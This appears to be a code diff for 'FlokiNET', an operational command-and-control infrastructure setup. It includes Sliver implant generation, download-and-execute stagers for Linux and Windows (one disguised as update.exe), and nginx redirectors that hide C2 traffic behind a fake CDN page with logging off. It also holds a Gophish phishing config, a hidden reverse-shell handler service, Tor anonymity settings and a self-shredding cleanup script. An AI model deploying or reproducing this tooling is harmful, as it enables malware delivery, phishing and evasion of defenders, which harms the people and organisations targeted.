+# Clean memory if requested
+if $MEMORY_WIPE; then
+    echo "[+] Wiping system memory..."
+    sync
+    echo 3 > /proc/sys/vm/drop_caches
+    swapoff -a
+    swapon -a
+fi
+
+# Self-destruct if configured (for cloud providers with API access)
+if $SELF_DESTRUCT; then
+    echo "[+] Initiating self-destruct sequence..."
+    # This would typically call the cloud provider's API to terminate the instance
+    # For FlokiNET, this would need to be handled manually
+fi
+
+echo "[+] Secure exit completed. Infrastructure has been sanitized."
+
+# Remove this script itself
+exec shred -n $SECURE_DELETE_PASSES -uz $0
@@ -0,0 +1,72 @@
+#!/bin/bash
+# Beacon server script to host generated implants
+
+# Configuration
+BEACONS_DIR="/opt/beacons"
+WEBSERVER_PORT=8443
+CERTIFICATE="/etc/ssl/private/beacon-server.pem"
+KEY="/etc/ssl/private/beacon-server.key"
+
+# Set secure umask
+umask 077
+
+# Ensure beacons directory exists
+mkdir -p $BEACONS_DIR
+
+# Function to generate beacons using Sliver
+generate_beacons() {
+    echo "[+] Generating beacons for all platforms..."
+    
+    # Make sure Sliver server is running
+    if ! pgrep -x "sliver-server" > /dev/null; then
+        echo "[!] Sliver server is not running, starting it..."
+        systemctl start sliver
+        sleep 5
+    fi
+    
+    # Generate Windows beacon
+    sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
+    
+    # Generate Linux beacon
+    sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
+    
+    # Generate macOS beacon
+    sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
+    
+    # Generate stagers
+    echo "#!/bin/bash
+curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
+    chmod +x $BEACONS_DIR/beacon.sh
+    
+    echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
+\$url = 'http://$C2_HOST:8443/windows.exe';
+\$outpath = \"\$env:TEMP\\update.exe\";
+Invoke-WebRequest -Uri \$url -OutFile \$outpath;
+Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
+    
+    echo "[+] All beacons generated successfully"
+}
+
+# Generate beacons
+generate_beacons
+
+# Serve beacons using Python's HTTP server (with SSL if certificate exists)
+if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
+    echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
+    cd $BEACONS_DIR
+    python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
+    SERVER_PID=$!
+else
+    echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
+    cd $BEACONS_DIR
+    python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
+    SERVER_PID=$!
+fi
+
+echo "[+] Beacon server started with PID $SERVER_PID"
+echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
+echo "[+] Press Ctrl+C to stop the server"
+
+# Keep script running and respond to Ctrl+C
+trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
+while true; do sleep 1; done
@@ -0,0 +1,80 @@
+server {
+    listen 80;
+    listen [::]:80;
+    server_name {{ domain }};
+    
+    # Redirect to HTTPS
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    server_name {{ domain }};
+    
+    # SSL Configuration
+    ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem;
+    
+    # Root directory
+    root /var/www/html;
+    index index.html;
+    
+    # Primary location for legitimate website traffic
+    location / {
+        try_files $uri $uri/ =404;
+    }
+    
+    # Special URI patterns for C2 traffic
+    # These will redirect to the actual C2 server
+    
+    # Sliver HTTP C2 channel
+    location /ajax/ {
+        proxy_pass http://{{ c2_host }}:8888;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+    }
+    
+    # Static resources that actually redirect to C2
+    location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
+        proxy_pass http://{{ c2_host }}:8888;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+    
+    # Additional security headers
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header X-Frame-Options "SAMEORIGIN" always;
+    add_header X-XSS-Protection "1; mode=block" always;
+    add_header Referrer-Policy "no-referrer" always;
+    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+    
+    # Disable logging for this server block
+    access_log off;
+    error_log /dev/null crit;
+}
+
+# Catch-all server block to respond to unknown hosts
+server {
+    listen 80 default_server;
+    listen [::]:80 default_server;
+    listen 443 ssl default_server;
+    listen [::]:443 ssl default_server;
+    
+    # Self-signed cert for catch-all
+    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
+    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+    
+    # Redirect all unknown traffic to a legitimate-looking site
+    return 301 https://www.google.com;
+    
+    # Disable logs
+    access_log off;
+    error_log /dev/null crit;
+}
@@ -0,0 +1,23 @@
+{
+        "admin_server": {
+                "listen_url": "0.0.0.0:{{ gophish_admin_port }}",
+                "use_tls": true,
+                "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
+                "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem",
+                "trusted_origins": []
+        },
+        "phish_server": {
+                "listen_url": "0.0.0.0:80",
+                "use_tls": false,
+                "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
+                "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
+        },
+        "db_name": "sqlite3",
+        "db_path": "gophish.db",
+        "migrations_prefix": "db/db_",
+        "contact_address": "",
+        "logging": {
+                "filename": "",
+                "level": ""
+        }
+}
@@ -0,0 +1,122 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>{{ redirector_subdomain }} - Content Delivery Network</title>
+    <style>
+        body {
+            font-family: Arial, sans-serif;
+            margin: 0;
+            padding: 0;
+            background-color: #f4f4f4;
+            color: #333;
+        }
+        header {
+            background-color: #2c3e50;
+            color: white;
+            padding: 1em;
+            text-align: center;
+        }
+        .container {
+            width: 80%;
+            margin: 0 auto;
+            padding: 2em;
+        }
+        .card {
+            background-color: white;
+            border-radius: 5px;
+            padding: 1.5em;
+            margin-bottom: 1.5em;
+            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
+        }
+        .feature {
+            display: flex;
+            align-items: center;
+            margin-bottom: 1em;
+        }
+        .feature-icon {
+            background-color: #3498db;
+            color: white;
+            border-radius: 50%;
+            width: 40px;
+            height: 40px;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            margin-right: 1em;
+            font-weight: bold;
+        }
+        footer {
+            background-color: #2c3e50;
+            color: white;
+            text-align: center;
+            padding: 1em;
+            position: fixed;
+            bottom: 0;
+            width: 100%;
+        }
+        .btn {
+            display: inline-block;
+            background-color: #3498db;
+            color: white;
+            padding: 0.7em 1.5em;
+            border-radius: 5px;
+            text-decoration: none;
+            font-weight: bold;
+        }
+    </style>
+</head>
+<body>
+    <header>
+        <h1>{{ redirector_subdomain }}.{{ domain }}</h1>
+        <p>Enterprise Content Delivery Network</p>
+    </header>
+    
+    <div class="container">
+        <div class="card">
+            <h2>Welcome to Our CDN</h2>
+            <p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.</p>
+            <p><em>This is a private service. Unauthorized access is prohibited.</em></p>
+        </div>
+        
+        <div class="card">
+            <h2>Our Features</h2>
+            
+            <div class="feature">
+                <div class="feature-icon">1</div>
+                <div>
+                    <h3>Global Distribution</h3>
+                    <p>Content cached and distributed across multiple geographic locations for minimum latency.</p>
+                </div>
+            </div>
+            
+            <div class="feature">
+                <div class="feature-icon">2</div>
+                <div>
+                    <h3>DDoS Protection</h3>
+                    <p>Enterprise-grade protection against distributed denial of service attacks.</p>
+                </div>
+            </div>
+            
+            <div class="feature">
+                <div class="feature-icon">3</div>
+                <div>
+                    <h3>Asset Optimization</h3>
+                    <p>Automatic compression and format optimization for images, scripts, and styles.</p>
+                </div>
+            </div>
+        </div>
+        
+        <div class="card" style="text-align: center;">
+            <h2>Need Access?</h2>
+            <p>If you're a client requiring access to our CDN services, please contact your account representative.</p>
+            <a href="#" class="btn">Contact Sales</a>
+        </div>
+    </div>
+    
+    <footer>
+        <p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
+    </footer>
+</body>
+</html>
@@ -0,0 +1,59 @@
+Welcome to your secure FlokiNET C2 Server!
+
+╔═══════════════════════════════════════════════╗
+║             OPERATIONAL SECURITY               ║
+║                                               ║
+║ This server has enhanced security features    ║
+║ including hardened SSH, Tor routing, and      ║
+║ zero-logs configuration.                      ║
+╚═══════════════════════════════════════════════╝
+
+The following tools and utilities have been installed:
+
+Apt-Installed Tools:
+--------------------
+- git, wget, curl, unzip
+- python3-pip, python3-venv, pipx
+- tmux, nmap, tcpdump, hydra, john, hashcat
+- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
+- golang, proxychains, tor, crackmapexec, jq, unzip
+- postfix, certbot, opendkim, opendkim-tools
+
+Pipx-Installed Tools:
+---------------------
+- NetExec:      git+https://github.com/Pennyw0rth/NetExec
+- TREVORspray:  git+https://github.com/blacklanternsecurity/TREVORspray
+- impacket:     (various network protocols and service tools)
+
+Custom Tools Installed in ~/Tools:
+----------------------------------
+- SharpCollection:           ~/Tools/SharpCollection
+- Kerbrute:                  ~/Tools/Kerbrute
+- PEASS-ng:                  ~/Tools/PEASS-ng
+- MailSniper:                ~/Tools/MailSniper
+- Inveigh:                   ~/Tools/Inveigh
+- Gophish:                   ~/Tools/gophish (unzipped here)
+
+Other Installed C2 Frameworks:
+------------------------------
+- Metasploit Framework: system installed (run 'msfconsole')
+- Sliver C2: system installed (run 'sliver')
+
+Security Scripts in /opt/c2/:
+-----------------------------
+- clean-logs.sh:   Securely clears all logs on the system
+- secure-exit.sh:  Perform secure wipe for termination
+- serve-beacons.sh: Hosts generated implants for delivery
+
+Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
+
+Once your DNS record points to this server's public IP, you can obtain a Let's Encrypt certificate by running:
+
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ c2_subdomain }}.{{ domain }}
+
+**IMPORTANT:**  
+
+To route traffic through Tor for additional anonymity, prefix commands with 'proxychains':
+    proxychains curl ifconfig.me
+
+Don't forget to set up a DMARC record for your domain. Update your DNS provider's dashboard to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
@@ -0,0 +1,46 @@
+Welcome to your new C2 Server!
+
+The following tools and utilities have been installed:
+
+Apt-Installed Tools:
+--------------------
+- git, wget, curl, unzip
+- python3-pip, python3-venv, pipx
+- tmux, nmap, tcpdump, hydra, john, hashcat
+- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
+- golang, proxychains, tor, crackmapexec, jq, unzip
+- postfix, certbot, opendkim, opendkim-tools
+
+Pipx-Installed Tools:
+---------------------
+- NetExec:      git+https://github.com/Pennyw0rth/NetExec
+- TREVORspray:  git+https://github.com/blacklanternsecurity/TREVORspray
+- impacket:     (various network protocols and service tools)
+
+Custom Tools Installed in ~/Tools:
+----------------------------------
+- SharpCollection:           ~/Tools/SharpCollection
+- Kerbrute:                  ~/Tools/Kerbrute
+- PEASS-ng:                  ~/Tools/PEASS-ng
+- MailSniper:                ~/Tools/MailSniper
+- Inveigh:                   ~/Tools/Inveigh
+- Gophish:                   ~/Tools/gophish (unzipped here)
+
+Other Installed C2 Frameworks:
+------------------------------
+- Metasploit Framework: system installed (run 'msfconsole')
+- Sliver C2: system installed (run 'sliver')
+
+Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
+
+Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
+
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ mail_hostname }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
+
+Remember to ensure your DNS is set correctly before running the above command.
+
+**IMPORTANT:**  
+
+Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
+
@@ -0,0 +1,59 @@
+user www-data;
+worker_processes auto;
+pid /run/nginx.pid;
+include /etc/nginx/modules-enabled/*.conf;
+
+events {
+    worker_connections 1024;
+    multi_accept on;
+}
+
+http {
+    # Basic Settings
+    sendfile on;
+    tcp_nopush on;
+    tcp_nodelay on;
+    keepalive_timeout 65;
+    types_hash_max_size 2048;
+    server_tokens off;
+
+    # MIME
+    include /etc/nginx/mime.types;
+    default_type application/octet-stream;
+
+    # Zero-logs configuration
+    # This completely disables all access logs
+    access_log off;
+    # Minimal error logs - critical only
+    error_log /dev/null crit;
+
+    # SSL Settings
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
+    ssl_session_timeout 1d;
+    ssl_session_cache shared:SSL:10m;
+    ssl_session_tickets off;
+    
+    # Headers to confuse fingerprinting
+    # Microsoft-IIS/8.5 server header to throw off analysis
+    #more_set_headers 'Server: Microsoft-IIS/8.5';
+    add_header Server "Microsoft-IIS/8.5";
+    server_name_in_redirect off;
+
+    # OPSEC: Hide proxy headers
+    proxy_hide_header X-Powered-By;
+    proxy_hide_header X-AspNet-Version;
+    proxy_hide_header X-Runtime;
+    
+    # IP Rotation and proxying
+    real_ip_header X-Forwarded-For;
+    set_real_ip_from 127.0.0.1;
+    
+    # Gzip Settings
+    gzip off;  # Disabled to avoid BREACH attack
+    
+    # Virtual Host Configs
+    include /etc/nginx/conf.d/*.conf;
+    include /etc/nginx/sites-enabled/*;
+}
@@ -0,0 +1,67 @@
+# FlokiNET/templates/proxychains.conf.j2
+# ProxyChains configuration for C2 server
+# Routes traffic through Tor for anonymity
+
+# Dynamic chain - Each connection through the proxy list
+# Uses chained proxies in the order they appear in the list
+dynamic_chain
+
+# Proxy DNS requests - no leak for DNS data
+proxy_dns
+
+# Randomize the order of the proxies on each start
+# random_chain
+
+# Set the type of chain (dynamic, strict, random)
+# strict_chain
+# random_chain
+
+# Quiet mode (less console output)
+quiet_mode
+
+# ProxyList format:
+#       type  host  port [user pass]
+#       (values separated by 'tab' or 'blank')
+[ProxyList]
+# add proxy here ...
+# socks5 	127.0.0.1	1080
+socks5 	127.0.0.1	9050
+
+# FlokiNET/templates/iptables-rules.j2
+# Hardened iptables rules for FlokiNET C2 server
+# Applied at system startup
+
+*filter
+:INPUT DROP [0:0]
+:FORWARD DROP [0:0]
+:OUTPUT ACCEPT [0:0]
+
+# Allow established and related connections
+-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
+
+# Allow loopback
+-A INPUT -i lo -j ACCEPT
+
+# Allow SSH
+-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ ssh_port | default(22) }} -j ACCEPT
+
+# Allow HTTP/HTTPS
+-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
+-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
+
+# Allow Sliver C2 ports
+-A INPUT -p tcp -m state --state NEW -m tcp --dport 8888 -j ACCEPT
+-A INPUT -p tcp -m state --state NEW -m tcp --dport 31337 -j ACCEPT
+
+# Allow shell handler port
+{% if shell_handler_port is defined %}
+-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ shell_handler_port }} -j ACCEPT
+{% endif %}
+
+# Block all other incoming traffic
+-A INPUT -j DROP
+
+# Allow all outbound traffic by default
+-A OUTPUT -j ACCEPT
+
+COMMIT
@@ -0,0 +1,18 @@
+# FlokiNET/templates/resolv.conf.j2
+# Secure DNS configuration
+# Uses privacy-respecting DNS servers
+
+nameserver 9.9.9.9
+nameserver 1.1.1.1
+options edns0 single-request-reopen
+options timeout:1
+options attempts:2
+
+# FlokiNET/templates/dnscrypt.conf.j2
+[Resolve]
+DNS=9.9.9.9 1.1.1.1
+FallbackDNS=8.8.8.8 8.8.4.4
+DNSSEC=yes
+DNSOverTLS=yes
+Cache=yes
+DNSStubListener=yes
@@ -0,0 +1,27 @@
+[Unit]
+Description=Reverse Shell Handler Service
+After=network.target
+
+[Service]
+Type=simple
+User=root
+Group=root
+ExecStart=/opt/shell-handler/persistent-listener.sh
+Restart=always
+RestartSec=10
+
+# Hide process information
+PrivateTmp=true
+ProtectSystem=full
+NoNewPrivileges=true
+
+# Make shell handler hard to find
+StandardOutput=null
+StandardError=null
+
+# Environment variables
+Environment="C2_HOST={{ c2_ip }}"
+Environment="LISTEN_PORT={{ shell_handler_port }}"
+
+[Install]
+WantedBy=multi-user.target
@@ -0,0 +1,24 @@
+[Unit]
+Description=Sliver C2 Server
+After=network.target
+
+[Service]
+Type=simple
+User=root
+Group=root
+WorkingDirectory=/root/.sliver
+ExecStart=/usr/local/bin/sliver-server daemon
+Restart=always
+RestartSec=10
+
+# Security measures
+PrivateTmp=true
+ProtectHome=false
+NoNewPrivileges=true
+
+# Hide process information
+StandardOutput=null
+StandardError=null
+
+[Install]
+WantedBy=multi-user.target
@@ -0,0 +1,48 @@
+# FlokiNET/templates/torrc.j2
+#
+# Tor configuration for C2 server
+# Hardened configuration for operational security
+
+# General settings
+DataDirectory /var/lib/tor
+RunAsDaemon 1
+ControlPort 9051
+CookieAuthentication 1
+CookieAuthFileGroupReadable 0
+DisableDebuggerAttachment 1
+
+# Network settings
+SOCKSPort 127.0.0.1:9050
+SOCKSPolicy accept 127.0.0.1/8
+SOCKSPolicy reject *
+Log notice file /var/log/tor/notices.log
+SafeSocks 1
+TestSocks 0
+
+# Circuit settings
+NumEntryGuards 4
+EnforceDistinctSubnets 1
+CircuitBuildTimeout 60
+PathsNeededToBuildCircuits 0.95
+NewCircuitPeriod 900
+MaxCircuitDirtiness 1800
+
+# Security settings
+StrictNodes 1
+WarnPlaintextPorts 23,109,110,143,80,21
+ReachableAddresses *:80,*:443
+ReachableAddresses reject *:*
+ReachableAddresses accept *:80
+ReachableAddresses accept *:443
+
+# Obfuscation settings
+Bridge obfs4 {{ bridge_address | default('placeholderbridge.example.org:443') }} {{ bridge_fingerprint | default('PLACEHOLDERFINGERPRINT') }} cert=PLACEHOLDER
+UseBridges 1
+ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
+ClientTransportPlugin meek exec /usr/bin/obfs4proxy
+
+# Exit policy (no exits allowed)
+ExitPolicy reject *:*
+
+# DNS resolution
+AutomapHostsOnResolve 1